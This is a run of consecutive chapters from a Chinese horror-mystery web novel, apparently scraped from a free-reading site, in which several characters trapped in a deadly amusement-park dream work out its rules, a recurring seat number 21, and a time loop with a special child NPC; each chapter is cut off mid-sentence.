白羽楠和张尧也注意到这微妙的气氛,眼神相互打着暗号,就像在争论着什么,最终白羽楠大胆地迎上前去,带着极具亲和力的笑,礼貌问道:“请问,这个的项目是非玩不可吗?” 张尧悄声吐槽:“我去,不用这么直接吧……” 俞小澄也是一脸惊讶,生怕下一秒白羽楠会挨揍。 就在他们心惊胆颤的见证下,那位母亲神色黯然地开了口,开口就是绝杀:“你不玩项目到游乐园来干嘛呢?晒太阳吗?” “不是,你家小孩好像年纪有点小,这种刺激项目……”白羽楠努力维持着自己的涵养。 话还没说完,就被那位父亲发言打断了:“你很闲吗?玩了几个项目了,还有闲心过问我家的事,关你屁事啊!” “好毒的夫妻俩……”张尧小声评价道。 结局似乎不出所料,有些闲事还是少管为妙,俞小澄和张尧无奈地相视一笑,只见白羽楠被怼得小脸泛红,尴尬地躲到了一旁。 一家三口冷漠地从他们身旁走过,那夫妻嘴里骂骂咧咧,根本不拿正眼瞧他们。 可走了没几步,中间那小女孩回过头来,明亮的眼神中透着一丝惊喜的光,用稚气的声音喊道:“来不及了,哥哥姐姐看看地图吧,下次再见!” 话音刚落就被两夫妻拉走了。 “什么意思?”白羽楠疑惑地问道。 “什么地图?”张尧挠着头,忽然意识到什么,急忙吼道,“入口!入园口的地图指南!” “我知道位置,我去拿!”白羽楠自告奋勇。 幸好俞小澄眼疾手快,一把抓住了打算离开的白羽楠,从兜里拿出了那张被她折叠收好的地图指南。 吴樊祐忍不住感叹道:“学姐……你是预言家吗?这么有先见之明……” 俞小澄不好意思地解释道:“当时顺手就收了起来,纯属巧合。” 张尧接过地图,在长椅上展开,一边仔细看地图,一边喋喋不休:“地图上有什么?不就是游玩设施位置的展示么?干嘛要让我们看地图?那小女孩怎么了?” 受不了张尧的吵闹,吴樊祐一把拎住张尧的衣服后领,将人拖到一旁,不客气地说:“你到底是用嘴思考,还是用脑思考?得了,你这猪脑子啥也别想了,吵到我学姐了!” 张尧不服气地说:“不就是你觉得吵,少拿小澄姐当借口!啧,你还不见得有我聪明呢,少PUA我。” “噢,我就是觉得你吵,麻烦滚远点,我谢谢您嘞!”吴樊祐用力一推,将人推到了路中间。 “简直胡搅蛮缠,别打扰我研究地图。” 张尧说着又往回走,可吴樊祐始终将他拦在路中间,无法靠近地图一步。 俞小澄和白羽楠根本没空理会二人的日常打闹,聚精会神地盯着地图,恨不得手中有个放大镜,要将地图看穿了似的。 终于在一堆数字标注的游玩项目名称后,俞小澄发现了三排内容奇怪的小字: 【为值回票价,请各位游客在规定时间内游玩至少五个不同项目。】 【若规定时间内未完成五个项目打卡,您将进入本乐园黑名单,下回禁止入园。】 【打卡成功五次后,可找任意项目工作人员领取乐园纪念品一份,打卡项目越多,纪念品越丰厚。】 白羽楠高声念着地图上的小字,整个人都懵了,从字面意思理解,这就是他们在寻找的规则,可内容实在太诡异了。 “为什么要强迫游客游玩项目呢?意思是今天不打卡完五个项目,明天就不让我们入场了?这样做的意义是什么?”白羽楠问。 此时一种恐怖的念头在俞小澄脑海中浮现:“不能入场的人,是否也会成为淘汰目标呢?” 张尧挣脱开吴樊祐阻拦的手,灵光乍现般想通了什么,惊呼道:“不是不可能,门口黑屏上的倒计时,那就是规定时限吧,时间不多了,我们还差三个项目。” 吴樊祐看了看手表,时间已来到9点47分,倒计时是从8点半入园起算的2小时,如今时间只剩43分钟。 “找三个位置接近的项目吧。”吴樊祐对白羽楠说。 白羽楠点头同意,当即起身带着他们前往距离这里最近的游玩项目。 正在此时,招财进宝追上俞小澄,为她带来了一个不好的消息——方才星际大冒险里发生事故的不止俞小澄乘坐的那一架飞船,每架飞船上都有一人遇难。 一瞬间,整个乐园的陷阱都在俞小澄的脑海里变得清晰起来: 一是首轮淘汰,所有项目首轮满载运行时,没乘上载具的游客会被淘汰,其中只有今日推荐项目是绝对安全的,其余项目可能会有意外。 二是项目打卡,当天必须在开园2小时内打卡5个不同项目,但每个项目都有事故危险,如果打卡不成功,次日大概率会被拒之门外。 “明天帮我看看园外是否有人遭淘汰吧。”俞小澄冷静地安排道,她必须确认园外是否有危险。 还不确定自己的猜想准不准确,为避免引起恐慌,她暂时没有说出,接下来,他们似乎不得不冒险赌运气。 途中,俞小澄突然想起那两个离队的人,决定先去广播室通知禾苒和曾勇规则一事。 白羽楠本有些不情愿,但因为担心俞小澄找路浪费时间,于是提议由她前去广播室,其余三人先去游玩项目。 俞小澄哪里好意思麻烦他人,晃了晃手中地图,执意由自己前往,匆忙嘱咐两句,让他们先完成游玩任务,不必等自己,说罢就急匆匆地赶往广播室。 刚跑出两步,她就听见吴樊祐的喊声:“俞小澄!” 那声音无奈中带着一丝气恼,他很少直接喊她名字,俞小澄感觉一股莫名心惊,疑惑地眨着眼回头看去。 只见吴樊祐撇下张尧和白羽楠,一脸严 70. 梦境(三) 《我好像住进了黑店》全本免费阅读 俞小澄隐隐感觉到她与吴樊祐之间莫大的差异,不仅是对人对事的思维模式,还有对于对方的想法。 因为过去的经历,以及对于认可的渴望,她竭尽全力表现出善意,只为不让人厌弃,可常常适得其反。 与她的顾虑不同,吴樊祐拥有一切她梦寐以求的东西,他可以轻易地表现自己的好恶,根本不在意他人的眼光。 俞小澄觉得,吴樊祐之所以愿意接近自己,仅仅是因为自己在他看来怪异而新奇,他们的境遇完全不同,他才会对未知产生好奇。 而自己对他抱有的不切实际幻想会让自己显得很可笑,这是她不愿意暴露的心思,她甚至觉得或许早些让吴樊祐离开,才能更好地保护自己渺小的自尊心。 正在胡思乱想时,俞小澄听见园区内响起广播,女工作人员甜美的声音传来—— 「禾苒小朋友,曾勇小朋友,你们的爸爸正在找你们,请听到广播后及时按照指示行事,一定要在倒计时结束前游玩5个项目,结束后,你们的爸爸会在旋转木马等你们。」 俞小澄简直不敢相信自己听到了什么,一时不知说什么好,带入到禾苒和曾勇的视角,她感觉揍人的心都有了。 心中烦闷一扫而空,竟被吴樊祐的恶趣味逗笑,她无奈地摇了摇头。 等到吴樊祐从广播室走出来,游乐园内还重复着那条不要脸的广播,吴樊祐厚着脸皮冲俞小澄笑了笑,似乎完全忘了先前的不愉快。 俞小澄自然也不愿再提,二人仿佛心照不宣地选择了遗忘,至少维持着表面的和谐。 时间还剩半小时,吴樊祐在地图上选定了三个位置接近且耗时最短的项目,从广播室出发,那三个项目刚好形成三角,相互之间的步行距离大约4-5分钟。 海盗船3分钟,大摆锤3分钟,跳楼机3分钟,算上路上时间,刚好能极限打卡三个项目。 确定好目的地,二人随即奔跑起来,首先到达了海盗船,还好无需排队,他们迅速地进入场地。 海盗船的上座率不算太高,还有40%的位置空着,可在选位这件事上俞小澄犯了难,想起星际大冒险时的事故,恐惧感顿时压得她喘不过气。 吴樊祐显然没有这种烦恼,当俞小澄犹豫不前时,他抓着俞小澄的手就往海盗船中间一排走去,似乎很贴心地为她选择了摆动幅度最小的位置。 这船总共十排,一排四个位置,他们选择的那一排一个人都没有,吴樊祐拉着俞小澄坐在了中央相邻的位子上。 俞小澄刚挪到位子上,一股强烈的不安感袭上心头,因为她分明看到座位的坐面上印着一个黑色的数字“21”,看上去就像是座椅的编号。 俞小澄下意识地往旁边座位看去,可令她心头一紧的是邻座的坐面上并无数字编号。 恐惧令她站在座位前不敢动弹,她什么也没说,一把将吴樊祐从位子上拉了起来,然后发现吴樊祐坐的位置上也赫然印着“21”。 吴樊祐诧异地问她怎么了,她来不及回答,火急火燎地把四周空位看了个遍,无一例外,坐面上均没有出现任何数字,一种不祥的预感占据了她的脑海。 工作人员似乎发现了她的异常,上前提醒他们赶紧坐下,海盗船即将运行了。 “学姐,现在不坐恐怕赶不及完成三个项目打卡了。”吴樊祐语气轻柔地劝说道,说着伸手拉她坐下。 可俞小澄反应有些大,不止挣脱了吴樊祐的手,还将他整个人推到了边上,把人压到最左边的空位上坐好,她迅速退回最右边的位子上。 “我、我不习惯挨着人坐,我们分开坐吧。”为了不过多解释,俞小澄撒谎道。 吴樊祐表情一僵,看上去有点伤心,却没有说什么,点头苦笑着回了一个字:“好。” 俞小澄只希望自己是多虑了,等结束后再跟吴樊祐慢慢解释。 工作人员放下安全压杠,海盗船缓缓摇晃了起来,一点一点越摇越高。 俞小澄全程紧盯着中间两个座位,心扑通扑通直跳,一时分不清是因为海盗船的影响,还是那两个座位上数字带来的紧张。 乐园入口的屏幕上写着“今日幸运数字:21”,那这个数字出现的地方是不是意味着安全呢?就跟作为今日推荐项目的旋转木马,成了今日乐园中唯一安全的场地。 她没由来地对这个数字感到恐惧。 或许因为有数字的座位太少了,如果只有这个数字是安全的,那事故的比例似乎太大了些,与星际大冒险的情况完全不匹配。 可如果反过来考虑,数字预示着危险,这个比例一下就合理起来。 当然,这一切都仅仅是她的直觉,没有任何依据。她双手紧抓着扶手,每一次晃动都害怕会出现意外。 招财进宝心大地站到中间空出的那两个座位上,手牵着手随着海盗船的摆动而欢呼,这让紧张得满头大汗的俞小澄像个傻瓜一样。 三分钟后,海盗船安然停下,什么事也没有发生,俞小澄羞愧地用手挡着脸,匆匆忙忙地离了场。 在去往大摆锤的路上,吴樊祐一言不发,俞小澄想要解释说,一切都只是她的错觉,是她的敏感令她做出了扫兴的事,却又有些说不出口。 思来想去,这样的解释好像还不如她的谎言来得体面,所以她最终也没能开口。 顺利进入大摆锤的场地,来游玩这个项目的人还挺多,俞小澄发现相邻的空位没剩几个了。 吴樊祐抢先跑到三个相邻空位前,朝俞小澄招手喊道:“学姐,这边还有位子!” 俞小澄赶紧跟了过去,然后两眼一黑。 只见吴樊祐指着中间那个椅背上的编号21对她说道:“看,学姐,今天的幸运数字,你就坐这里吧!这个项目人有点多,要找不挨人的位子有点难,就3分钟,你忍忍吧。” 说罢,吴樊祐在右手边的20号座椅上坐下,工作人员上前帮他调整好安全装置。 俞小澄环顾四周,这个21似乎就是座椅号,可这个数字实在让她不太舒服,犹豫片刻后,她移步坐上了左手边的22号座椅。 下一秒,她感受到吴樊祐震惊的眼神,只好尴尬地笑着转过头,牵强地解释:“呵呵,我的幸运数字是22……” 吴樊祐扶额苦笑,正想让工作人员打开安全装置换到21号座椅,一个肥胖的中年男人一屁股坐在了21号座椅上,坐碎了吴樊祐最后的希望。 接下来的时间里,俞小澄看见吴樊祐像个漏 71. 梦境(三) 《我好像住进了黑店》全本免费阅读 这一眼把俞小澄吓得不轻,她挣扎着从座椅上站起来,惊慌失措地推开工作人员,因为太着急,左脚绊右脚摔倒在地上。 顾不上疼痛,俞小澄仔细地检查着虎口,确定上面没有印上任何数字。 吴樊祐被她的举动吓了一跳,也从座椅上站起身,上前扶起俞小澄,关切地问道:“怎么了学姐?” 俞小澄没有回答,抓住吴樊祐的手,上下翻转着看了一遍,确认他手上也没有数字后,才跑向刚才二人所选的座椅。 她用手握住肩部安全压杠的金属扶手,俯下身子仔细查看,不论是她坐的位子,还是吴樊祐坐的位子,扶手上的倒影里都有数字21。 俞小澄又转头测试了旁边几个位子,这些位子的金属扶手上就没有出现数字倒影。 “你们到底坐不坐,不坐麻烦离开场地,请勿影响其他客人游玩。”工作人员一脸不满地嚷道。 “玩,我们只是想换个位子而已。”俞小澄不敢再继续测试下去,拉着吴樊祐坐到了旁边两个位子上。 面对吴樊祐投来的异样眼神,俞小澄郑重其事地反问道:“吴先生,请问你平时运气是不是很糟?” 吴樊祐一脸认真地思考道:“没有啊,我运气一向很好,买彩票都能中奖的程度。” 俞小澄吃惊道:“你还中过彩票?” 吴樊祐一本正经回答:“没有,因为我不买彩票。” “……”俞小澄不知该说他什么好,“那你选位也是全凭运气?” “嗯,算是吧,怎么了?” “没事,选得很好,下次别选了。” “啊?” 俞小澄实在不知道他是如何做到每次都能精准挑中21号,如果将21定义为幸运数字,那他运气的确很好,次次中大奖,可惜是要命的那种。 说话间,跳楼机缓缓向上升起,万幸这次没人坐在俞小澄身旁两个位子上,她实在不想看到哪个游客来玩跳楼机,最后真成跳楼了。 离开跳楼机场地时,出口处的工作人员为他们发放了打卡任务奖励,一人一个金币,并欢迎他们继续打卡未体验的项目,每成功打卡一次,便能获得一个金币。 条件看上去挺吸引人,可每次游玩都是有风险的,细想之下又觉得不值。 距离倒计时结束还有5分钟,二人不紧不慢往旋转木马的方向走,如果白羽楠和张尧听到了广播,也会到那里与他们汇合。 当二人抵达旋转木马时,禾苒和曾勇已经等在入口处,白羽楠和张尧却还没有出现。 俞小澄本来还担心禾苒和曾勇会因为吴樊祐的玩笑而发飙,结果他们似乎有更紧要的事,顾不上找吴樊祐算账。 一见俞小澄二人露面,禾苒就迎了上来,像报平安似地举起一枚金币,面色却有些难看,开口第一句就说: “这里的游乐设施不安全!我们打卡4个项目,有3个项目都遇上了设施故障。” “我正想说这件事,等小白和小尧回来一起商量吧。”俞小澄有些焦急地东张西望,却始终没看到那两个人的身影。 忽然,整个园区内响起一阵倒计时提醒的嘟嘟声,每过一秒响一次,节奏感很强,莫名的压迫感让人浑身起鸡皮疙瘩。 “最后10秒。”吴樊祐看着手表,声音低沉地说道。 所有人一动不动屏住呼吸,等待着倒计时的终了,不知倒计时结束会不会发生什么。 跟随着那巨大的嘟嘟声,俞小澄在心里默默读秒,并祈祷着白羽楠和张尧顺利打卡正在赶往旋转木马的路上。 随着最后一秒的嘟声响起,俞小澄感觉自己恍了一下神,也许只是一秒,等她再回过神,眼前一切都变了。 她正站在万里梦幻乐园的大门口,炙热的阳光烘烤在皮肤上,明晃晃的阳光令人睁不开眼,风中带着闷热的味道。耳边的蝉鸣此起彼伏,没完没了地宣告着炎热的夏日已经来到。 嗯?什么情况? 俞小澄用手遮挡着烈日,一种强烈的既视感冲击着她的大脑。 入园检票口前的通道排满了等待的游客,不时有后到的游客从她身边走过,兴奋地涌入排队通道,填补着里面的空缺。 另一边,由紫藤花架搭建的VIP通道里,正有少部分人径直进了园区。 “小澄姐!” 白羽楠高声呼唤着,一边挥着手一边向她跑来,脸上写着“不可思议”四个大字。 兴许是被她这声大叫吸引了注意,其余四人没一会儿也从四面八方跑过来。 眼前的一切如同情景再现,分毫不差地在它原本的位置上演,就连俞小澄站的位置、其他人跑来的方向,都与刚进入梦境时一模一样。 这样的发现让她心里发怵。 “等等!我们刚才进入乐园发现入口屏幕的倒计时后在旋转木马躲过了首轮淘汰然后又在两个小时内打卡了五个项目最后回旋转木马集合时听到了倒计时的提示音,没错吧?” 俞小澄抱着头,感觉精神有些错乱,一口气说出记得的事,然后确认一般看向众人。 吴樊祐上下摆动两只手,提醒俞小澄用深呼吸稳定情绪,安抚道:“别急,你的记忆没出问题,我也记得。” “怎么回事?我们咋被传送出来了?”曾勇有些摸不着头脑。 张尧皱着眉,思索一番猜道:“难道我们避开了所有危险,恶灵没有手段再对付我们,直接跳到第二天了?” 禾苒质疑道:“就算恶灵要跳时间,也应该先将玩家传入安全房啊。” 张尧回应道:“这里的安全房好像就是今日推荐项目,把我们关在里面等一天结束也蛮奇怪的吧。” “可箭竹梦境提前结束当日游戏的条件,一般不都是达到当天死亡人数上限,或满足特定规则吗?你看我们不都还活着么?”禾苒指了指在场众人,反驳道。 “NPC死算吗?”白羽楠问道,“我看死了不少NPC。” 禾苒摇了摇头:“开场就死了那么多NPC,要结束早结束了,除非这个梦境存在特殊NPC,否则只有玩家的死才会影响梦境判定吧。” 张尧考虑着禾苒的话,不得不赞同道:“我们上次经历的箭竹梦境就有几个特殊角色,说不定这次也有,可一般来说,只要玩家不动手,特殊角色是不会意外死亡的。” 说完他用异样的眼光打量着禾苒,气得禾苒破口大骂道:“别胡乱怀疑人行吗?我连特殊角色的影子都没见 72. 梦境(三) 《我好像住进了黑店》全本免费阅读 这是谁家小孩? 俞小澄诧异地盯着小女孩看,渐渐地记忆中的一张脸与眼前的人重合到一起,这不正是提醒她看地图的那个小女孩嘛! 四下张望,小女孩只身一人,周围不见她父母身影,俞小澄蹲下身子,耐心问道:“你怎么一个人,爸爸妈妈呢?怎么没跟你一起?” 小女孩紧紧握着她的手不放,笑嘻嘻地回答:“我才不是一个人,我跟姐姐一起来的,你就是我姐姐!嘻嘻!” “啊?”俞小澄实在无法理解小女孩的话。 “你谁家小孩啊,她可不是你姐,给我松手。” 吴樊祐不知何时站在俞小澄身后,揪着小女孩小脸蛋,咬牙切齿地说道。 俞小澄无奈地拍掉吴樊祐的手,起身说道:“你怎么还跟小孩一样……” 吴樊祐揉着手背,委屈地说:“来路不明的小孩不能捡,我也是为学姐好。” 俞小澄哭笑不得,便像对小孩那般哄道:“好,不捡小孩,这孩子估计走丢了,你帮她找找父母呗,我不记得那对夫妻的长相了。 吴樊祐指了指园区的方向,说:“不用这么麻烦,等入园后直接把她带到广播室去,交给工作人员,让她父母自己到广播室领人。” 俞小澄点点头,又转向小女孩问道:“你叫什么名字呀?姐姐带你去找爸爸妈妈好不好?” 小女孩回答:“我叫唐姝,今年七岁半,爸爸妈妈要上班,我跟谁一起来的呢?我忘记了。姐姐陪我玩好不好?” 俞小澄耐心询问:“昨天我还看到你跟爸爸妈妈一起来的呀,怎么忘记了呢?那你记得爸爸妈妈的名字吗?姐姐带你去广播室找人好不好?” “呵呵,姐姐真傻,才不是昨天呢,我们一个小时前刚见过。”唐姝乐呵呵地捂着嘴笑起来,“那是愿意带我进游乐园玩的叔叔阿姨,爸爸妈妈不在这里。” 俞小澄越听越糊涂,可“一个小时前”这个词重重地敲击着她的心。 这个小女孩对时间的感受与她一样! 这是怎么回事? 她不是NPC吗? 还是说时间根本就没有跳到第二天,只是2小时结束后,他们全都被传送到了乐园外? 那时间线还在继续吗? 俞小澄惊恐地抓住吴樊祐的手,试图确认时间是否还在继续,可手表上显示8点36分,她感觉一切越来越诡异。 “我们又回到2小时前了吗?”俞小澄茫然自问。 “是的呢!”唐姝圆圆的眼睛里迸发出惊喜的光,拉着俞小澄的手蹦蹦跳跳地说道,“姐姐果然与其他人不一样,其他人都感觉不到时间在重复。” “那你怎么知道?”吴樊祐问。 唐姝手指点在红润的嘴唇上,望着天做出一副思考状,可很快就放弃了思考,天真烂漫地摇头晃脑,拖长声音回答:“不~知~道,我就是知道嘛!” 俞小澄又问:“那你知道规则吗?如果被淘汰了,你也会复活吗?” 唐姝的眼睛里写着大大的问号:“什么是规则?淘汰就是死了吗?我只是陪大家玩游戏,有时候故事还没讲,他们就死了,我就等下次再去找他们,可他们都不记得我了。” 从唐姝的话中,俞小澄意识到一件事——唐姝与其他的NPC不同,她始终对循环的时间有清晰的认知,并且她在不知规则的情况下,从未被淘汰。 她或许就是这场梦境的特殊角色。 “你不知道?那你干嘛提醒我们看地图?”吴樊祐脸上写着怀疑。 唐姝想了想回答:“啊,很久很久以前,我遇到过跟姐姐一样的人,他们也记得时间在重复,他们一直在看地图,但他们说的话我听不懂。后来,他们死了,下次也不出现了。” “是其他玩家。”吴樊祐看着俞小澄低声说道。 “看来玩家死了就真的死了,就算循环开始也不可能复活……”俞小澄呢喃道。 “完了!小澄姐,出大事了!” 一声撕心裂肺的呼喊声从远处传来,带着心急如焚的恐慌。 俞小澄一转头,便看见张尧带着其余三人向她冲了过来,他一边喘着粗气一边焦急解释:“你们快去试试VIP通道,我们四个全都过不去,检票失败,要我们走普通检票口。” 其实不久前他们就讨论过这个问题,所以俞小澄早有心理准备,只是没想到如今2小时就可能变一次。 “学姐和我去VIP检票口看看,你们先去排队。”吴樊祐表现得格外冷静。 张尧等人也知道如今别无他法,时间拖得越久,他们入园的时间越晚,抢下首轮游玩的机会越渺茫,于是扭头便往排队通道里冲。 俞小澄也不敢耽搁,与吴樊祐对视一眼,迈步前往VIP通道。 然而,唐姝似乎铁了心赖上俞小澄,一直拉着她的手不放,俞小澄一心跑快些,还得顾虑唐姝跟不上摔倒。 走了一段路,吴樊祐实在看不下去,一把将唐姝抱了起来,这才迫使唐姝的小手放开了俞小澄。 VIP通道几乎不用排队,没费多少时间二人就完成了验证,果然和其他人一样,恶灵将他们的身边变成了普通游客。 俞小澄和吴樊祐又快速跑向普通排队通道,但为了选择人稍微少点的队列,他们与张尧等人分别排在了一号检票口和三号检票口。 身后的人数依然在增加,距离9点越来越近,俞小澄内心愈发焦虑,就像是等待商场开门,争抢限定商品,唯一不同的点在于,这里抢不到就会死! “不知道招财进宝跑哪儿去了,兴许没被传送出来,否则还能让他们先去看看屏幕上的提示。”俞小澄小声念叨。 吴樊祐将唐姝放下,抹了抹满头大汗,对于待会儿的苦战却显得气定神闲:“没关系,其实今日推荐项目的信息并不重要,其他项目一样可以避免首轮淘汰。” “可其他项目有风险啊。”俞小澄难免担忧。 “我的运气向来很好,学姐跟着我走就好。” “呃……你确定?” “嘿嘿,上几回不算,那是以为21真的是幸运数字,连幸运女神都被欺骗了,才会做出错误指引,这回绝对没问题!” 俞小澄不知他究竟哪里来的自信,实在不想当面打击,于是婉转地劝说道:“呵呵,有开卷答案,我们也不是一定要凭运气,还是别麻烦幸运女神了。” 吴樊祐执着地找着理由,说:“既然是开卷考,去推荐项目的人一定是最多的,竞争太大,我们的胜算反而降低,不如一开始就定好目标,不用花时间确认,入园就 73. 梦境(三) 《我好像住进了黑店》全本免费阅读 吴樊祐回头看见慢慢接近入口的俞小澄,赶紧跑了回来,拦在俞小澄身前,嘘寒问暖道:“学姐,怎么样?你先休息一下,放心,我确认了还有空位。” 说着便让俞小澄扶着栏杆休息,俞小澄没有力气说话,只能不停摆手,将他往前推。 可他一动不动地站在那儿,根本不懂俞小澄的意思,只反复教俞小澄如何调整呼吸才能减少身体的痛苦。 就在他做这种多余的事的间隙,身后又有几个游客超了过去,吴樊祐只是冷眼看着,表情上看不出着急。 他不急,俞小澄快急死了,好不容易缓过劲儿,终于可以发出声音,俞小澄气恼地骂道:“你就不能到里面等我吗?” 她边说边将吴樊祐转过身,发泄怒气般拍了拍他后背,用力推着他前进,这一次,吴樊祐总算听话了些,慢吞吞地往前移,嘴里还在辩解: “我怎么又惹你生气了,别气别气,我不是故意的,我就怕你赶不过来,才不想一个人进去。” 俞小澄一时也不忍心怪他,只能一声不吭地推着他让他走快些。 等到了入口处,工作人员却伸手拦住了他们:“不好意思,里面还剩一个位子,麻烦等下一轮,后面有一位的客人吗?” 工作人员身长脖子往通道里看,不远处正跑来一个男人,一边挥着手一边气喘吁吁:“我,我是一个人。” 工作人员正想让俞小澄和吴樊祐让到一旁去,吴樊祐一把抓住了工作人员的手腕,冷冷说道:“怎么,我不是人?” “不,不是这个意思,客人误会了,我看三位是一起的,你们应该也不想分开游玩吧?” 工作人员谨慎地解释着,吴樊祐甩开工作人员的手,将唐姝从背上放回地上,转头对俞小澄说:“学姐,等我,我去抓两个人出来。” 俞小澄简直不敢相信听到了什么,上一秒她还沉浸在自己死定了的绝望中,此刻似乎也没有别的办法,仿佛抓住了一根救命稻草,机械式地点了点头。 然后茫然地看着工作人员在眼前关上了入口铁门,吴樊祐则在工作人员带领下走入了黑暗之中。 俞小澄感觉一阵耳鸣,心跳声盖过了一切,一股凉意袭上心头,然后肆无忌惮地在全身游走,一点一点蚕食着她的理智。 我在干什么? 我是不是快死了? 我还在等什么? 他还会回来吗? 无数的念头在她脑中打转,吵得她无法思考。 忽然手指传来一阵柔软的触感,将她从混乱的思绪中拉回了现实,她低头看见唐姝拉着她的手指,仰着头,一脸担忧地望着她。 “姐姐,你也快死了吗?我还没听你讲故事,我们不会再见了吗?这些游戏我玩腻了,也没有新故事可以听了,我想回家了……” 紧接着,俞小澄感觉到机关启动的震动,下意识地抱起唐姝,转身穿过死气沉沉的人群,挣扎着向通道外走去。 通道内的人表情呆滞,或许潜意识里他们也知道死亡即将降临,可他们选择放弃,毫无挣扎的想法。 有的人垂头丧气趴在栏杆上,如同咸鱼;有的人索性瘫坐在过道里,宛如醉汉;也有人跟她一样,下意识地转身逃离…… 可她能逃到哪里去? 或许潜意识中只是不想死在狭窄的通道里,和几十个人挤在一起,成为一具冰凉的尸体,最终被装进黑色尸袋里。 刚走出通道,脚下一阵剧痛传来,有什么东西刺穿了她往前迈出的脚,一股撕心裂肺的疼痛让她差点松手将唐姝摔在地上。 随着一阵阵惨叫,地面再次出现金属尖刺,如同雨后春笋破土而出,占领了整个园区。 俞小澄疼到差点昏厥,努力抱紧唐姝,闭眼逃避死亡。 嘴唇被她咬出了血,鼻腔中、口腔里,全都充斥着血腥味,她分不清那是自己的,还是别人的,豆大的汗珠从额头滴下,不知是汗水还是泪水湿润了睫毛,让她有些睁不开眼。 时间一秒一秒过去,除了最初脚下的痛感,她再感觉不到其他。 一双柔嫩的小手轻拍着俞小澄的脸颊,替她擦了擦眼睛。 俞小澄睫毛抖动,缓缓睁开了眼,发现自己如同关在铁笼里的鸟,身体四周满是高耸的尖刺,距离她不过半臂的距离。 除了迈得太靠前的脚尖被刺穿,她似乎在这场恐怖的淘汰中幸运地存活了下来。 真的是幸运吗? 俞小澄不禁思考起来,她从来不相信自己的运气,因为命运大多时候只会捉弄自己。 其实她当时下意识的抱起唐姝,并不仅仅是想要逃离人群,她脑海深处浮现出一句话——唐姝从未被淘汰。 正是这句话,让她在黑暗中看到了一束光,如果是规则让唐姝这个特殊角色不死,那规则是不是会顾忌杀她时意外杀死唐姝呢? 所以,她赌了一把。 然后,她赌赢了。 只是尖刺来得太快,她牺牲了一只脚,可命总算保住了,这让她激动到哭泣。 几分钟后,尖刺猛然缩回地下,地上不留丝毫痕迹,抽离带来的疼痛再次让俞小澄眼前一黑,这一次她浑身脱力摔倒在地上,唐姝也随她一起倒地。 唐姝只是唉哟叫了一声,然后拍了拍摔疼的屁股站起身,乖巧地伸手想要扶起俞小澄。 “姐姐,你没事了,你还能陪我,太好了。” 唐姝的欢欣雀跃让俞小澄真的放松了下来,周身的力气彻底被抽离,劫后余生的喜悦,鲁莽冲动的后怕,各种情绪交织在一起,一股脑地填满俞小澄的内心。 压抑的情绪终于如同决堤,她趴在地上哭成了泪人,反正除了唐姝这个NPC没有活人会看到她的狼狈。 一直都是如此,她始终是一个人,所以注定要一个人面对一切,不该有指望别人的幼稚想法。 哭累了,她收起泪水,却还止不住抽噎,唐姝全程乖巧地拍着她的后背安慰,没有多余的言语,这让俞小澄很是感激。 此时,空中飞下两个影子,正是招财进宝,他们看见俞小澄的模样吓得魂都要没了,手忙脚乱地围着俞小澄打转,检查她有没有别的伤。 “呜呜呜,都怪进宝没用,让姐姐受伤了。” 进宝自己先哭了起来,俞小澄无可奈何,还得忍着脚上的痛,伸手抹去她脸上的泪,有气无力地说道:“我还活着呢,不许哭丧。” 进宝听话地捂住了嘴,只有眼泪控制不住地往下落。 招财气恼地敲打着自己的头,自我埋怨道:“这破梦境还不如修仙世界,那里好歹还有符箓可以用用,这里啥都没有啊……” 俞小澄苦笑道:“好不到哪儿去,在修仙那,我不也被绣花针扎成刺猬 74. 梦境(三) 《我好像住进了黑店》全本免费阅读 俞小澄本想一走了之,可看着吴樊祐落寞的背影,心中不忍,终究还是一瘸一拐地走回入口处,一屁股坐到了吴樊祐身边。 “你打算在这儿等到啥时候?万一我已经跟小姝一起离开去找其他人了呢?”俞小澄别扭地开口问道。 原本耷拉着脑袋没精打采的人闻言立即抬起头来,眼神中顿时有了光彩,就像走丢的小狗忽然发现了主人,眼睛弯出好看的弧度,笑道:“我怕你万一回来看不见我。” 俞小澄一时不知说什么好,半天只憋出一声“嗯”。 吴樊祐一掌拍在身旁人的后背,一个医务人员打扮的人被他这一掌拍得踉踉跄跄站了起来。 只见那人一边提防着吴樊祐,一边不满地嘀咕:“伤患怎么还到处跑,你要是一直不回来,我怕是要被扣留在这儿一天,哎,造的什么孽啊我……” 那人一边发着牢骚,一边走到俞小澄身旁,拿出医疗箱,然后仔细地帮俞小澄处理起脚伤。 看眼前两人都是满头大汗,想来是一路狂奔过来的。 想到这里,俞小澄忽然有些愧疚,为方才那些可怕的想法,为曾经幼稚的行为。道歉的话终究没能说出口,但“谢谢”两个字还是从唇边溜了出来,声音微弱得只有自己能听到。 吴樊祐没有说话,一直紧盯着医务人员处理伤口,每当俞小澄吃疼轻哼一声,他就会不自觉地冲医务人员发脾气,害得俞小澄哼都不敢哼一声,咬紧牙关忍着痛。 处理完伤口,医务人员赶紧开溜,唯恐走晚一步,又要被吴樊祐留下问东问西。 此时游乐园中响起了广播,正是俞小澄拜托唐姝办的事。招财进宝也带来了其他人的消息,好在所有人都勉强挤上了山谷漂流的最后一艘船。 “我们最好也赶紧打卡剩余的项目,如果进不了乐园,大概就没我这么走运了。”俞小澄抬起被包成粽子的脚,开着玩笑说道。 吴樊祐起身蹲到俞小澄面前,拍了拍自己肩膀,示意俞小澄趴到他背上。 俞小澄虽有些不好意思,可看看自己如今的情况,也不好扭扭捏捏浪费时间,道了声“麻烦你了”,便趴到了吴樊祐背上。 吴樊祐背着她起身往下一个项目走去,途中好奇问道:“学姐……你是如何逃脱的?” 俞小澄学着吴樊祐装模作样时的语气,故作轻松地回答:“嘻嘻,别人逃脱不了,不代表我逃脱不了,谁让我是天选之子。” “是是,学姐万中无一。”吴樊祐便顺着她的话拍起了马屁。 俞小澄才正经地说道:“其实我也是猜的,特殊角色在规则中没那么轻易死去,所以我试着拿小姝当了挡箭牌。” “如果猜错了呢?” “那就有点对不起小姝了,得跟我这个不相干的人一起变成肉串,这样的记忆不知会不会一直留在她心里……” “你还有心思关心NPC……” “这次反倒是NPC救了我一命,小姝的存在令我有个大胆的想法。” “你已经够大胆,别再想了。” “呵呵,只是备选方案,多给自己留条后路嘛。” “你想法太多了,还是得尽早找到记忆之门送你离开我才放心啊,否则哪天真出点意外……” 听到吴樊祐的话,一句“我不想回去”到了俞小澄嘴边,又被她咽了下去,思索片刻,改成了:“你能看见招财进宝吗?” “啊?怎么突然这么问?看不见啊,那不是学姐专属的守护神嘛。”吴樊祐带着疑惑回应。 俞小澄便拍拍他的肩膀,笑着说道:“可不是嘛,只有我有守护神,我走了你们怎么办。” 